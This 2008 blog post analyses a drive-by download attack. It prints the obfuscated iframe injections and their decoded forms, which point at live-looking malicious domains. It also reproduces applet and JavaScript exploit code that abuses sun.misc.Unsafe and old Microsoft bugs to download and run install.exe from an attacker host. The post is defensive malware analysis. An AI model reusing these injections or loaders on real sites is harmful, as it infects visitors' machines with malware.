blog
April 14, 2008
Lately, there has been a lot of interest in drive-by downloads and at least a couple of very good studies on this phenomenon.
Here, I will discuss in details some of the more technical aspects of these attacks, using a specific case study. Note: the malicious page is now gone, but some of the other resources may still be up and running...
The first step of the attack consists of redirecting the victim's browser to a number of "attack pages" that attempt to exploit various vulnerabilities and cause malware to be installed and run automatically. The redirection is typically done by injecting iframes in a page. Often, the injection is masqueraded by using a number of obfuscation techniques.
In our case, the injecting page contains two injections.
The first injection uses the unescape function to cover its purpose:
document.writeln(unescape ('%3c%49%46%52%41%4d%45%20%6e%61%6d%65
%3d%63%38%33%33%36%35%65%35%64%37%61%61%20%73%72%63%3d%27%68%74%74
%70%3a%2f%2f%74%61%70%6b%69%2e%63%6e%2f%31%2e%68%74%6d%6c%3f%27%2b
%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d
%28%29%2a%33%30%32%39%35%29%2b%27%34%66%35%62%27%20%77%69%64%74%68
%3d%38%33%20%68%65%69%67%68%74%3d%33%36%35%20%73%74%79%6c%65%3d%27
%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%49%46%52%41%4d
%45%3e'));
Once decoded, the escaped string reads:
<IFRAME name=c83365e5d7aa src='http://tapki.cn/1.html?' +
Math.round(Math.random()*30295)+'4f5b' width=83 height=365
style='display:none'></IFRAME>
The second injection uses a couple of different tricks: randomized variable and function names, and manual string decoding:
function BD37A78D25DEEF10B10A677B5F0(B9D5D6B429B3B9BD29A08C8){
return(parseInt(B9D5D6B429B3B9BD29A08C8,16));}function
D5281A4C55A9736772D3539EA51(D6242D36DFD76213ED900E11FDA){function
C56A17251C947C7EF(){var D83D6CE95B0A38CD6F=2;return
D83D6CE95B0A38CD6F;}var D71C351C9A9105908A5D4D9624954="";for(
CEDB124A2EA9FE61EB10A584FE0E8=0;CEDB124A2EA9FE61EB10A584FE0E8<
D6242D36DFD76213ED900E11FDA.length;CEDB124A2EA9FE61EB10A584FE0E8+=
C56A17251C947C7EF()){D71C351C9A9105908A5D4D9624954+=
(String.fromCharCode(BD37A78D25DEEF10B10A677B5F0(
D6242D36DFD76213ED900E11FDA.substr(CEDB124A2EA9FE61EB10A584FE0E8,
C56A17251C947C7EF()))));} document.write(D71C351C9A9105908A5D4D9624954);
}D5281A4C55A9736772D3539EA51("3C696672616D65207372633D687474703A2F2F
6164767464732E6661737466696E642E696E666F2F6164767464732F6F75742E7068
703F735F69643D32302077696474683D31206865696768743D31207374796C653D22
646973706C61793A6E6F6E65223E3C2F696672616D653E");
To quickly recover the code, I redefine the document
object to print to the console (document={write:print}) and run the
script in
rhino:
<iframe src=http://advtds.fastfind.info/advtds/out.php?s_id=20
width=1 height=1 style="display:none"></iframe>
A typical attack page contains a barrage of exploits targeting a variety of exploits in different versions of the browser, operating system, and other programs. As we will see, our case study is not an exception.
It turns out that the first iframe points at an empty page: it must have already been taken down.
The second iframe is more interesting: it spits out a 302 response to
redirect to http://vipasotka.com/in.php (119.42.149.22), which, in
turn, redirects to http://golnanosat.com/in.php (same IP address).
in.php is also variously scrambled, but the (now) usual deobfuscation
step in rhino allows us to quickly make sense of it. This file generates
another somewhat obfuscated JavaScript snippet. After some inspection
and some googling, the script appears to be divided in two parts. The
first part is essentially a JavaScript rewrite of metasploit's
exploit for MS06-014: the code
tries very hard to download (via XMLHttpRequest) the executable
install.exe from http://golnanosat.com/adw_files/5010/8275793f/, to
add it to the startup programs, and to run it. The exploit code is
IE-specific and goes to great lengths to "support" a number of different
Windows versions.
The second part brings a bag of Java tricks into the picture.
<applet code=animan.class name=maniman height=1 width=1 MAYSCRIPT></applet>
try {
var unsafeclass=document.maniman.getClass().forName("sun.misc.Unsafe");
var unsafemeth=unsafeclass.getMethod("getUnsafe",null);
var unsafe=unsafemeth.invoke(unsafemeth,null);
document.maniman.foobar(unsafe);
var chenref=unsafe.defineClass("omfg",document.maniman.luokka,0,document.maniman.classSize);
var chen=unsafe.allocateInstance(chenref);
chen.setURLdl("http://golnanosat.com/adw_files/5010/8275793f/install.exe");
chen.setUname("5010");
chen.setCID("other");
}catch(d){}
<applet archive=OP.jar code=OP.class width=1 height=1 MAYSCRIPT>
<param name=usid value=us0105>
<param name=linkurl
value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=3">
</applet>
<applet archive="ms03011.jar" code="MagicApplet.class" width=1 height=1>
<param name="ModulePath" value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=4">
</applet>
The first trick uses reflection and the internal sun.misc.unsafe class
to dynamically create a class instance that bypasses the security
restrictions of the Java VM: this seems an old
bug that dates back to 2004. The second one
is recognized by some anti-virus as Java/TrojanDownloader.OpenStream.
The last trick looks like an exploit for another old bug
(MS03-011) that affected the ByteCode
Verifier of the Microsoft VM. In all cases, the goal is to download
and execute the usual install.exe file.
The attack pages serve two binaries. VirusTotal reports mixed detection results: 13/32 and 8/32.
I'll conclude the analysis with some quick considerations:
To leave a comment, complete the form below. Mandatory fields are marked *.